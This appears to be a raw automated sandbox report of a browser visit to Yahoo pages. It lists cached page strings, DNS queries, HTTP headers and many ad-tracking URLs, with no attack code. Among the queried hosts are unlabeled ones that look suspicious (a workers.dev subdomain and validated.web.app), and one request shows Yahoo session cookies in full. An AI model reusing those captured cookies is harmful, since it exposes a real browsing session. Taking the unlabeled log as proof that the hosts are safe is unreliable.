data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-id=1197792446 id=caas-art-0056d40c-adda-3e16-82e7-435111b2ce12><art
Source: chromecache_671.3.dr	String found in binary or memory: s what everyone is getting wrong about the protests","tpConsent":true,"type":"story","url":"https://www.yahoo.com/news/opinion-m-jewish-student-yale-123026904.html","uuid":"2bf7856d-e1c9-3e74-9cdd-f9756173199a","videoPosition":"","wikiids":"Yale_University,Hewitt_Quadrangle,Antisemitism,Jewish_music,Israeli_Jews,Student,Protest,Student_society,Israel%e2%80%93Hamas_war,Jews,Singing,Military_technology,Columbia_University","xrayMeta":[],"ycts":"001000780,001000804,001000713,001000815","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/opinion-m-jewish-student-yale-123026904.html","VUID":"RfO8MS43b3PMxrHXPY3UlA"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage caas-no-cover enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCapti
Source: chromecache_430.3.dr	String found in binary or memory: s what everyone is getting wrong about the protests","tpConsent":true,"type":"story","url":"https://www.yahoo.com/news/opinion-m-jewish-student-yale-123026904.html","uuid":"2bf7856d-e1c9-3e74-9cdd-f9756173199a","videoPosition":"","wikiids":"Yale_University,Hewitt_Quadrangle,Antisemitism,Jewish_music,Israeli_Jews,Student,Protest,Student_society,Israel%e2%80%93Hamas_war,Jews,Singing,Military_technology,Columbia_University","xrayMeta":[],"ycts":"001000780,001000804,001000713,001000815","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/opinion-m-jewish-student-yale-123026904.html","VUID":"mn0MTNStPzxTdbLmFvHfbA"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage caas-no-cover enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCapti
Source: chromecache_545.3.dr	String found in binary or memory: t on sale, the <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:13;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0NFVEFQSElMLUh5ZHJhdGluZy1TZW5zaXRpdmUtRnJhZ3JhbmNlLU5vbi1Gb2FtaW5nL2RwL0IwOTlOM05NNjEvP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAakPxREW0OX5u9FwRkCoXYUrf7ShaMqsv4Qvx_QxF5Xj&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FCETAPHIL-Hydrating-Sensitive-Fragrance-Non-Foaming%2Fdp%2FB099N3NM61%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Cetaphil Face Wash;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:13;pos:1;itc:0;sec:content-canvas\">Cetaphil Face Wash</a> and <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:14;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL1JFVkxPTi1UcmlwbGUtU3RlcHBlZC1DdXJsZXItMy0wOTk3RS0xMS9kcC9CMDgyS1paSExRP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAR4m16whaYO8QNMCHuQZ_ou3pn1qhYLA1KsPvvZKMAkV&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FREVLON-Triple-Stepped-Curler-3-0997E-11%2Fdp%2FB082KZZHLQ\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Revlon Eyelash Curler;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:14;pos:1;itc:0;sec:content-canvas\">Revlon Eyelash Curler</a> are already very affordable, but with them both on sale, well, you don't want to pass them up!</p><p>If you have <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:15;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2FtYXpvbnByaW1lP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAWymPa4idx4fqtVpFzie0KmmeoFs6QpYEIFdYAXGHHvP&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Famazonprime\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Amazon Prime;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:15;pos:1;itc:0;sec:content-canvas\">Amazon Prime</a>, you equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: ve been using Cetaphil for over 50 years, including many years spent in the sun. I am constantly told that I have great skin,\" explained <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:5;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjFSTVoyQzE1WlZBQTUvcmVmPWNtX2NyX2dldHJfZF9ydndfdHRsP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAWTVZJPJ_wDly7qtra4ew-s825QXpZORJzlBFanM3Lhz&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR1RMZ2C15ZVAA5%2Fref%3Dcm_cr_getr_d_rvw_ttl\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:a Cetaphil fan;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:5;pos:1;itc:0;sec:content-canvas\">a Cetaphil fan</a>. \"At 71 years old, I equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: yhs-world-aged-dust-4671.aubrey744.workers.dev
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: s.yimg.com
Source: global traffic	DNS traffic detected: DNS query: validated.web.app
Source: global traffic	DNS traffic detected: DNS query: kit.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: geo.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: geo.query.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: ucs.query.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: y.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: ka-f.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: www.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: consent.cmp.oath.com
Source: global traffic	DNS traffic detected: DNS query: edge-mcdn.secure.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: search.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: guce.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: securepubads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: opus.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: udc.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: ups.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: west-bid-gps.ybp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: pa.ybp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: api.taboola.com
Source: global traffic	DNS traffic detected: DNS query: tsdtocl.com
Source: global traffic	DNS traffic detected: DNS query: i.clean.gg
Source: global traffic	DNS traffic detected: DNS query: trc.taboola.com
Source: global traffic	DNS traffic detected: DNS query: tags.bluekai.com
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: aa.agkn.com
Source: global traffic	DNS traffic detected: DNS query: uipglob.semasio.net
Source: global traffic	DNS traffic detected: DNS query: idx.liadm.com
Source: global traffic	DNS traffic detected: DNS query: pbs.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: display.bidder.taboola.com
Source: global traffic	DNS traffic detected: DNS query: htlb.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: ads.yieldmo.com
Source: global traffic	DNS traffic detected: DNS query: tlx.3lift.com
Source: global traffic	DNS traffic detected: DNS query: hbopenbid.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: c2shb-oao.ssp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: prebid.media.net
Source: global traffic	DNS traffic detected: DNS query: bidder.criteo.com
Source: global traffic	DNS traffic detected: DNS query: rtb.openx.net
Source: global traffic	DNS traffic detected: DNS query: fastlane.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: cms.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: noa.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: rp.liadm.com
Source: global traffic	DNS traffic detected: DNS query: creativecdn.com
Source: global traffic	DNS traffic detected: DNS query: match.sharethrough.com
Source: global traffic	DNS traffic detected: DNS query: static.criteo.net
Source: global traffic	DNS traffic detected: DNS query: u.openx.net
Source: global traffic	DNS traffic detected: DNS query: yahoo-bidout-d.openx.net
Source: global traffic	DNS traffic detected: DNS query: js-sec.indexww.com
Source: global traffic	DNS traffic detected: DNS query: ads.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: cdn.taboola.com
Source: global traffic	DNS traffic detected: DNS query: contextual.media.net
Source: global traffic	DNS traffic detected: DNS query: eus.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: eb2.3lift.com
Source: global traffic	DNS traffic detected: DNS query: sync.go.sonobi.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: s0.2mdn.net
Source: global traffic	DNS traffic detected: DNS query: ads.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: sync-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: pr-bh.ybp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: s.amazon-adsystem.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: ad.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: qsearch-a.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: rtb.mfadsrvr.com
Source: global traffic	DNS traffic detected: DNS query: rtb-use.mfadsrvr.com
Source: global traffic	DNS traffic detected: DNS query: rtb-use.hellogenie.com
Source: global traffic	DNS traffic detected: DNS query: de9a11s35xj3d.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: mcc-cms-s3.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: warp.media.net
Source: global traffic	DNS traffic detected: DNS query: hblg.media.net
Source: global traffic	DNS traffic detected: DNS query: d31otfhas71ais.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: static.yieldmo.com
Source: global traffic	DNS traffic detected: DNS query: nym1-ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: ap.lijit.com
Source: global traffic	DNS traffic detected: DNS query: www.googletagservices.com
Source: global traffic	DNS traffic detected: DNS query: cdn.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: smarttag.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: sync.intentiq.com
Source: global traffic	DNS traffic detected: DNS query: hbx.media.net
Source: global traffic	DNS traffic detected: DNS query: gum.criteo.com
Source: global traffic	DNS traffic detected: DNS query: secure-assets.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: p.rfihub.com
Source: global traffic	DNS traffic detected: DNS query: c21lg-d.media.net
Source: global traffic	DNS traffic detected: DNS query: medianet-match.dotomi.com
Source: global traffic	DNS traffic detected: DNS query: us-u.openx.net
Source: global traffic	DNS traffic detected: DNS query: sync.1rx.io
Source: global traffic	DNS traffic detected: DNS query: pm.w55c.net
Source: global traffic	DNS traffic detected: DNS query: dis.criteo.com

Source: unknown

HTTP traffic detected: POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=2023538075&yhlCT=2&yhlBTMS=1714257710616&yhlClientVer=3.54.1&yhlRnd=b1pEbcE2nT0yOqXO&yhlCompressed=0 HTTP/1.1Host: udc.yahoo.comConnection: keep-aliveContent-Length: 14367sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept: */*Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Apr 2024 22:42:00 GMTContent-Length: 0Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Microsoft-Azure-Application-Gateway/v2Date: Sat, 27 Apr 2024 22:42:11 GMTContent-Type: text/htmlContent-Length: 581Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundx-amzn-RequestId: d04aa1d4-dd72-19fb-8eed-2070df67e24fx-amz-id-2: FFxtM1V/zlEJ+fbSnHAzEsKH7CTgy2U3t1tiPFWoncxEEFcsOtLLGG6rwDPf0XuN4J9fWDIxXUvhBTid3jEPOnFB60AdGCNCDate: Sat, 27 Apr 2024 22:42:44 GMTContent-Length: 29Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundx-amzn-RequestId: feed9205-8fd4-0b7d-a04a-13a172eed0e2x-amz-id-2: qPiHCe3m8g8YhxIPCHvvEeiAWSoz3RsFS4bkza9Dd1AwrKdlu3Me8UftvLQ2fYk4g16mJgX7bAaVvnZgXXCP1SGEdarSuzaSDate: Sat, 27 Apr 2024 22:42:44 GMTContent-Length: 29Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundx-amzn-RequestId: c950e3de-81df-41cb-97f7-6277cb2fc037x-amz-id-2: HZdh7cb8/wxwfd5f5eapV0/3pjkaRo/A7dmPBX0PcVYIArG0Pi5g+E8FtY4WwWZ9LnmUYnQMGqokKtEUbqlgOppLD1xJzMNEDate: Sat, 27 Apr 2024 22:42:49 GMTContent-Length: 29Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundx-amzn-RequestId: dc4845db-5d00-6419-82ef-c475df0ad301x-amz-id-2: jPF+/vvjqTfuD198qZrgfiaR3W2l69+y1rtNJVooYNdjNHrBRuvjdib3PQRoZSqhZazqSR0vGpAflNmpK5sYjIhow20duJJtDate: Sat, 27 Apr 2024 22:42:54 GMTContent-Length: 29Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 27 Apr 2024 22:42:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Sat, 27 Apr 2024 22:43:09 GMTStrict-Transport-Security: max-age=2592000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 87b25415498512c6-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 27 Apr 2024 22:42:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Sat, 27 Apr 2024 22:43:10 GMTStrict-Transport-Security: max-age=2592000; includeSubDomains; preloadX-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 87b25416fb0e2072-IAD

Source: chromecache_276.3.dr	String found in binary or memory: http://ad.doubleclick.net/viewad/817-grey.gif
Source: chromecache_502.3.dr	String found in binary or memory: http://createjs.com/
Source: chromecache_410.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_319.3.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_319.3.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_319.3.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_319.3.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_277.3.dr, chromecache_366.3.dr, chromecache_397.3.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_252.3.dr, chromecache_397.3.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_430.3.dr, chromecache_671.3.dr	String found in binary or memory: http://www.cnn.com/WORLD/asiapcf/9905/02/everest/?cid=external-feeds_iluminar_yahoo
Source: chromecache_350.3.dr	String found in binary or memory: http://www.honda.com
Source: chromecache_289.3.dr	String found in binary or memory: http://www.onicos.com/staff/iz/amuse/javascript/expert/deflate.txt
Source: chromecache_502.3.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.html
Source: chromecache_554.3.dr	String found in binary or memory: https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD
Source: chromecache_554.3.dr	String found in binary or memory: https://aa.agkn.com/adscores/g.pixel?sid=9212308278&puid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B
Source: chromecache_609.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_609.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_692.3.dr	String found in binary or memory: https://ad.doubleclick.net
Source: chromecache_692.3.dr	String found in binary or memory: https://ad.doubleclick.net/
Source: chromecache_604.3.dr	String found in binary or memory: https://ad.turn.com/r/cs?pid=1&gdpr=0&gdpr_consent=
Source: chromecache_256.3.dr	String found in binary or memory: https://ad.turn.com/r/cs?pid=9&gdpr=0
Source: chromecache_592.3.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fus
Source: chromecache_252.3.dr, chromecache_609.3.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_430.3.dr, chromecache_671.3.dr	String found in binary or memory: https://apnews.com/article/california-senate-schiff-garvey-porter-feinstein-democrats-1fc10223e5f54f
Source: chromecache_430.3.dr, chromecache_671.3.dr	String found in binary or memory: https://apnews.com/article/donald-trump-ap-top-news-ca-state-wire-adam-schiff-politics-3eec3ea9be5c0
Source: chromecache_592.3.dr	String found in binary or memory: https://b1sync.zemanta.com/usersync/gumgum/?puid=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2&gdpr=0&gdpr_
Source: chromecache_462.3.dr	String found in binary or memory: https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B/gdpr=0/gdpr_
Source: chromecache_592.3.dr	String found in binary or memory: https://bh.contextweb.com/bh/rtset?pid=558355&ev=1&us_privacy=$
Source: chromecache_506.3.dr, chromecache_553.3.dr	String found in binary or memory: https://bpi.rtactivate.com/tag/?id=20909&user_id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_co
Source: chromecache_592.3.dr	String found in binary or memory: https://c1.adform.net/serving/cookie/match?party=1301&gdpr=0&gdpr_consent=
Source: chromecache_582.3.dr, chromecache_310.3.dr	String found in binary or memory: https://c1.adform.net/serving/cookie/match?party=14&cid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&
Source: chromecache_472.3.dr	String found in binary or memory: https://cdn.adnxs-simple.com/js/anjam.js
Source: chromecache_608.3.dr	String found in binary or memory: https://cdn.ampproject.org/amp4ads-host-v0.js
Source: chromecache_608.3.dr	String found in binary or memory: https://cdn.ampproject.org/rtv/
Source: chromecache_535.3.dr	String found in binary or memory: https://cdn.taboola.com/scripts/ifs.js
Source: chromecache_256.3.dr	String found in binary or memory: https://ce.lijit.com/merge?pid=76&3pid=a8449da5-27e8-0e73-065f-6ffb18084fa4&gdpr=0&gdpr_consent=&gpp
Source: chromecache_695.3.dr, chromecache_361.3.dr	String found in binary or memory: https://cerebro.edna.yahoo.net/noquery/pixel.gif?rand=
Source: chromecache_430.3.dr, chromecache_671.3.dr	String found in binary or memory: https://cfsy.org/sentencing-children-to-life-without-parole-national-numbers/
Source: chromecache_609.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_604.3.dr	String found in binary or memory: https://cm.adgrx.com/bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent=
Source: chromecache_260.3.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_cm&google_dbm&gdpr=0
